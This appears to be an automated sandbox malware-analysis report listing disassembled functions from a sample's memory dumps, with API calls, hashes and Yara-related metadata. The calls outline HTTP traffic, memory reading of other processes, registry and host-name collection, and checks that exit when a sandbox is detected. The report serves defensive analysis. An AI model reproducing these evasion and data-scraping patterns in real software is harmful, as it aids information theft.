Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetaskvsprintf_s
String ID:
API String ID: 700816787-0
Opcode ID: 5434392e867cfe8b65d60c30634320f59bf744a663cfea390a94abfc30077dd7
Instruction ID: 94ac2426f2ac48beaefee342d5107526b18a9488370b618be5cccae3345198e0
Opcode Fuzzy Hash: 5434392e867cfe8b65d60c30634320f59bf744a663cfea390a94abfc30077dd7
Instruction Fuzzy Hash: 78610FB5D101689BDF24DB50CC55FE9B7B9BF48304F0081E9E64AA6180EB709BC9CF95

Function 023F5527 Relevance: 9.1, APIs: 6, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 023FAA07: lstrcpy.KERNEL32(?,00000000), ref: 023FAA4D

Part of subcall function 023E64E7: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 023E6548
Part of subcall function 023E64E7: StrCmpCA.SHLWAPI(?,0064A480), ref: 023E656A
Part of subcall function 023E64E7: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 023E659C
Part of subcall function 023E64E7: HttpOpenRequestA.WININET(00000000,00421A28,?,0064A2B4,00000000,00000000,00400100,00000000), ref: 023E65EC
Part of subcall function 023E64E7: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 023E6626
Part of subcall function 023E64E7: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 023E6638

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

StrCmpCA.SHLWAPI(00000000,0042109C,00000000), ref: 023F557F
lstrlen.KERNEL32(00000000), ref: 023F5596

Part of subcall function 023F9097: LocalAlloc.KERNEL32(00000040,-00000001), ref: 023F90B9

StrStrA.SHLWAPI(00000000,00000000), ref: 023F55CB
lstrlen.KERNEL32(00000000), ref: 023F55EA
strtok.MSVCRT(00000000,?), ref: 023F5605
lstrlen.KERNEL32(00000000), ref: 023F5615

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID:
API String ID: 3532888709-0
Opcode ID: ea37f877b7fbbacf1c7384582398939b25ca2f08c2eb8411cf358fbfa571aba2
Instruction ID: 921e1359252414194bfa0507eb0f6f3cc903e1d949bcaef60a3338a4f6c344a9
Opcode Fuzzy Hash: ea37f877b7fbbacf1c7384582398939b25ca2f08c2eb8411cf358fbfa571aba2
Instruction Fuzzy Hash: 5F51DB71910248DBCF68FF64EEA5EEE7776AF10301F904029EA0A66690DF346B49CF51

Function 023F7337 Relevance: 9.1, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 023F7345

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

OpenProcess.KERNEL32(001FFFFF,00000000,023F7574,004205BD), ref: 023F7383
memset.MSVCRT ref: 023F73D1
??_V@YAXPAX@Z.MSVCRT(?), ref: 023F7525

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID:
API String ID: 224852652-0
Opcode ID: 1aeff6b0bc1cdda16161dcd1e0d48fd3adfd470a7707b0dabfde7a46d1ab6f7a
Instruction ID: 59e8b298286959868abf7fa458a9bf1a511500e06bfce0cd1ca5ab9d20a88045
Opcode Fuzzy Hash: 1aeff6b0bc1cdda16161dcd1e0d48fd3adfd470a7707b0dabfde7a46d1ab6f7a
Instruction Fuzzy Hash: 005170B1D002189FDFA4DBA0EC94FEDF775AF44305F5041A9E609A7181DB746A88CF58

Function 023F4317 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 023F433C
RegOpenKeyExA.ADVAPI32(80000001,0064A4D8,00000000,00020119,?), ref: 023F435B
RegQueryValueExA.ADVAPI32(?,0064A0D4,00000000,00000000,00000000,000000FF), ref: 023F437F
RegCloseKey.ADVAPI32(?), ref: 023F4389
lstrcat.KERNEL32(?,00000000), ref: 023F43AE
lstrcat.KERNEL32(?,0064A168), ref: 023F43C2

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 5690b8b16156ff116e39c423b9c20f7378d9982cb7fd98343760b82f2f9cb978
Instruction ID: be657a4adb56ff840a32f4eb2636b6438a3c0ec39823aa7a2f8ab254d966fc6b
Opcode Fuzzy Hash: 5690b8b16156ff116e39c423b9c20f7378d9982cb7fd98343760b82f2f9cb978
Instruction Fuzzy Hash: DC4187B6940108BBDB24EBE0EC46FEE737EAB49700F004558A729571C0EA755B8C8FE1

Function 004140B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004140D5
RegOpenKeyExA.ADVAPI32(80000001,007CB858,00000000,00020119,?), ref: 004140F4
RegQueryValueExA.ADVAPI32(?,007CC650,00000000,00000000,00000000,000000FF), ref: 00414118
RegCloseKey.ADVAPI32(?), ref: 00414122
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414147
lstrcatA.KERNEL32(?,007CC620), ref: 0041415B

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: bc2d94edd70f49bf8f62656b9ca3487d8b5429edb2de975fb07ca5a133c360a1
Instruction ID: 42b23dca6cf9d61fcd17bb79f48ce0988bb9dd5848c5c15250a36de7d2584b3c
Opcode Fuzzy Hash: bc2d94edd70f49bf8f62656b9ca3487d8b5429edb2de975fb07ca5a133c360a1
Instruction Fuzzy Hash: 6941B6BAD402087BDB14EBE0DC46FEE777DAB88304F00455DB61A571C1EA795B888B92

Function 00413560 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413588

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

strtok_s.MSVCRT ref: 004136D1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0079D410,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 64ab5e27dc640e177239ea1b756d4cc1ada2d3f0f35c5ecd3cd97600b2ebe9e7
Instruction ID: 1d6e97e2126c91d023f3aa3275f065f217875d3b7f18f669bcfd2096c4fc0c60
Opcode Fuzzy Hash: 64ab5e27dc640e177239ea1b756d4cc1ada2d3f0f35c5ecd3cd97600b2ebe9e7
Instruction Fuzzy Hash: C34191B1D00108EFCB04EFE5D945AEEB7B4BF44308F00801EE41676291DB789A56CFAA

Function 0041B38C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041B39A

Part of subcall function 0041AFAC: __mtinitlocknum.LIBCMT ref: 0041AFC2
Part of subcall function 0041AFAC: __amsg_exit.LIBCMT ref: 0041AFCE
Part of subcall function 0041AFAC: EnterCriticalSection.KERNEL32(?,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A), ref: 0041AFD6

DecodePointer.KERNEL32(0042A130,00000020,0041B4DD,?,00000001,00000000,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E), ref: 0041B3D6
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A), ref: 0041B3E7

Part of subcall function 0041BE35: EncodePointer.KERNEL32(00000000,0041C063,004495B8,00000314,00000000,?,?,?,?,?,0041B707,004495B8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041BE37

DecodePointer.KERNEL32(-00000004,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A), ref: 0041B40D
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A), ref: 0041B420
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F0,0000000C,0041AC2A), ref: 0041B42A

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: b7f77734ebbf3840f36807ba88357d63e713c7e7dec9936b016044a468d43742
Instruction ID: 63863d844e937e4da23c5f373c227dc8c5909fe93770eb0c6870133be37feb4a
Opcode Fuzzy Hash: b7f77734ebbf3840f36807ba88357d63e713c7e7dec9936b016044a468d43742
Instruction Fuzzy Hash: 05314874900309DFDF109FA9C9452DEBAF1FF48314F10802BE454A6262CBB94891DFAE

Function 023F6C57 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 023F9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A204), ref: 023F9B08
Part of subcall function 023F9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A5C8), ref: 023F9B21
Part of subcall function 023F9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A644), ref: 023F9B39
Part of subcall function 023F9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A264), ref: 023F9B51
Part of subcall function 023F9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A250), ref: 023F9B6A
Part of subcall function 023F9AC7: GetProcAddress.KERNEL32(0064A8B0,Xry), ref: 023F9B82
Part of subcall function 023F9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A4D4), ref: 023F9B9A
Part of subcall function 023F9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A33C), ref: 023F9BB3
Part of subcall function 023F9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A5A0), ref: 023F9BCB
Part of subcall function 023F9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A548), ref: 023F9BE3
Part of subcall function 023F9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A3BC), ref: 023F9BFC
Part of subcall function 023F9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A2E8), ref: 023F9C14
Part of subcall function 023F9AC7: GetProcAddress.KERNEL32(0064A8B0,XWy), ref: 023F9C2C
Part of subcall function 023F9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A0B0), ref: 023F9C45

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023E1437: ExitProcess.KERNEL32 ref: 023E1478

Part of subcall function 023E13C7: GetSystemInfo.KERNEL32(?), ref: 023E13D1
Part of subcall function 023E13C7: ExitProcess.KERNEL32 ref: 023E13E5

Part of subcall function 023E1377: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 023E1392
Part of subcall function 023E1377: VirtualAllocExNuma.KERNEL32(00000000), ref: 023E1399
Part of subcall function 023E1377: ExitProcess.KERNEL32 ref: 023E13AA

Part of subcall function 023E1487: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 023E14A5
Part of subcall function 023E1487: __aulldiv.LIBCMT ref: 023E14BF
Part of subcall function 023E1487: __aulldiv.LIBCMT ref: 023E14CD
Part of subcall function 023E1487: ExitProcess.KERNEL32 ref: 023E14FB

Part of subcall function 023F69D7: GetUserDefaultLangID.KERNEL32 ref: 023F69DB

Part of subcall function 023E13F7: ExitProcess.KERNEL32 ref: 023E142D

Part of subcall function 023F7AB7: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,023E141E), ref: 023F7AE7
Part of subcall function 023F7AB7: RtlAllocateHeap.NTDLL(00000000), ref: 023F7AEE
Part of subcall function 023F7AB7: GetUserNameA.ADVAPI32(00000104,00000104), ref: 023F7B06

Part of subcall function 023F7B47: GetProcessHeap.KERNEL32(00000000,00000104), ref: 023F7B77
Part of subcall function 023F7B47: RtlAllocateHeap.NTDLL(00000000), ref: 023F7B7E
Part of subcall function 023F7B47: GetComputerNameA.KERNEL32(?,00000104), ref: 023F7B96

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0064A540,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 023F6D31
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 023F6D4F
CloseHandle.KERNEL32(00000000), ref: 023F6D60
Sleep.KERNEL32(00001770), ref: 023F6D6B
CloseHandle.KERNEL32(?,00000000,?,0064A540,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 023F6D81
ExitProcess.KERNEL32 ref: 023F6D89

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 8bfceb1ee71bfa1add3f5fc1feb3515e0baf2b6ad89577cb8e665fbf230e511d
Instruction ID: 2139d381a03cc160fdee91cac5d9f20c937dc4c746701428d06926deb6a7a81b
Opcode Fuzzy Hash: 8bfceb1ee71bfa1add3f5fc1feb3515e0baf2b6ad89577cb8e665fbf230e511d
Instruction Fuzzy Hash: 9F313A76A40218ABDFA4FBF0EC55FFE737AAF14300F504529E616A6190EF745A08CE61

Function 023E9C27 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 023E9C53
GetFileSizeEx.KERNEL32(000000FF,?), ref: 023E9C78
LocalAlloc.KERNEL32(00000040,?), ref: 023E9C98
ReadFile.KERNEL32(000000FF,?,00000000,023E16F6,00000000), ref: 023E9CC1
LocalFree.KERNEL32(023E16F6), ref: 023E9CF7
CloseHandle.KERNEL32(000000FF), ref: 023E9D01

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c3da04e987efa8c3bc657412c5dcc3be7704e612d0e6c1399905993ce2b8bcb5
Instruction ID: 7a305e43084f297f7b38808fa82ac650e677b4f857bf46161f0e06437ac0da56
Opcode Fuzzy Hash: c3da04e987efa8c3bc657412c5dcc3be7704e612d0e6c1399905993ce2b8bcb5
Instruction Fuzzy Hash: F831F6B8A00209EFDF14DF94D885BAE77F5FB49314F108158E916A7290C774AA45CFA1

Function 004099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
LocalFree.KERNEL32(004102E7), ref: 00409A90
CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 7104a1ad71f7267fb3f92d709a770ba7d5c34dd003ba373b3d6e6f2e7190c7f7
Instruction ID: ed52a4b53b9c0591db71eabf51b59360b39b3b260bb7ca760b64e801f0f9a50e
Opcode Fuzzy Hash: 7104a1ad71f7267fb3f92d709a770ba7d5c34dd003ba373b3d6e6f2e7190c7f7
Instruction Fuzzy Hash: 02310778A00209EFDB14CF94C985BAEB7B5FF49350F108169E901A7390D778AD41CFA5

Function 023FCC45 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 023FCC51

Part of subcall function 023FC206: __getptd_noexit.LIBCMT ref: 023FC209
Part of subcall function 023FC206: __amsg_exit.LIBCMT ref: 023FC216

__amsg_exit.LIBCMT ref: 023FCC71
__lock.LIBCMT ref: 023FCC81
InterlockedDecrement.KERNEL32(?), ref: 023FCC9E
free.MSVCRT ref: 023FCCB1
InterlockedIncrement.KERNEL32(0042B980), ref: 023FCCC9

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 9842265763d25ebdd135a5071e54c4fa9195cc385294f2eefb115a4ad94e6967
Instruction ID: 24d8f5461660cf9286d919d6c268f5a09d1814282f5b7b32f3cef2c17d004e1a
Opcode Fuzzy Hash: 9842265763d25ebdd135a5071e54c4fa9195cc385294f2eefb115a4ad94e6967
Instruction Fuzzy Hash: 64012272A80A28EBCBB0EB69B44475CB361FF04714F000517EE14A72B0CB346882DFD9

Function 0041C9DE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C9EA

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__amsg_exit.LIBCMT ref: 0041CA0A
__lock.LIBCMT ref: 0041CA1A
InterlockedDecrement.KERNEL32(?), ref: 0041CA37
free.MSVCRT ref: 0041CA4A
InterlockedIncrement.KERNEL32(0042B558), ref: 0041CA62

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 9cc761a24a700c336990656e08babd42fdc3626541d12aa0f7b86557c35da351
Instruction ID: 63787520114d18ae3399c837c16bfac6c494309a1b2e91ce42418771fe72ad0a
Opcode Fuzzy Hash: 9cc761a24a700c336990656e08babd42fdc3626541d12aa0f7b86557c35da351
Instruction Fuzzy Hash: DD01C431A817299BC722EB669C857DE77A0BF04794F11811BE814A7390C73C69D2CBDD

Function 023F7167 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 023F7186
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,023F7401,00000000,00420BA8,00000000,00000000), ref: 023F71B4

Part of subcall function 023F6E37: strlen.MSVCRT ref: 023F6E48
Part of subcall function 023F6E37: strlen.MSVCRT ref: 023F6E6C

VirtualQueryEx.KERNEL32(023F7574,00000000,?,0000001C), ref: 023F71F9
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,023F7401), ref: 023F731A

Part of subcall function 023F7047: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 023F705F

Strings

@, xrefs: 023F720D

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction ID: f26ee33532ec4c2d7ca6f311f01d20c5c26b9d1f930851cf56282ab335de9db3
Opcode Fuzzy Hash: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction Fuzzy Hash: 7B51F5B1E00109EBDB44CF98E981AEFB7B6BF88304F148519FA15A7240D734EA11CBA5

Function 00416F00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00416F1F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0041719A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 00416F4D

Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416BE1
Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416C05

VirtualQueryEx.KERNEL32(?,00000000,?,0000001C), ref: 00416F92
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041719A), ref: 004170B3

Part of subcall function 00416DE0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416DF8

Strings

@, xrefs: 00416FA6

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction ID: da6ee04ed372484ea639f8c5ae6d2cf8ded6d6947598eb42fecba3fc0a9bdd2e
Opcode Fuzzy Hash: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction Fuzzy Hash: 27511CB5E041099BDB04CF98D981AEFBBB5FF88304F108559F919A7340D738EA51CBA5

Function 004069B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E2A), ref: 00406A19

Strings

*n@, xrefs: 00406B28, 00406BB6, 00406BBB, 00406B65
*n@, xrefs: 004069BD, 004069C9, 004069DC, 004069E5, 00406A09, 00406A32, 00406A35, 00406AEF, 00406B01, 00406B0D, 00406B16, 00406B93, 00406B49, 00406A4A, 00406A6D, 00406A79, 00406AA1, 00406AD1, 00406AE3, 00406AAD, 00406ABA, 00406A56

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: *n@$*n@
API String ID: 1029625771-193229609
Opcode ID: bf609db6eed200fea4b15f7f51f4bbb31f3205db81936f2c349fbd39333cdc99
Instruction ID: a280f62563b1b8af23ece619f3fba2aedbd92eaccb2561d1aa32790852693925
Opcode Fuzzy Hash: bf609db6eed200fea4b15f7f51f4bbb31f3205db81936f2c349fbd39333cdc99
Instruction Fuzzy Hash: DA71C874A00119DFCB04CF48C484BEAB7B2FB88315F158179E80AAF391D739AA91CB95

Function 023F49E7 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

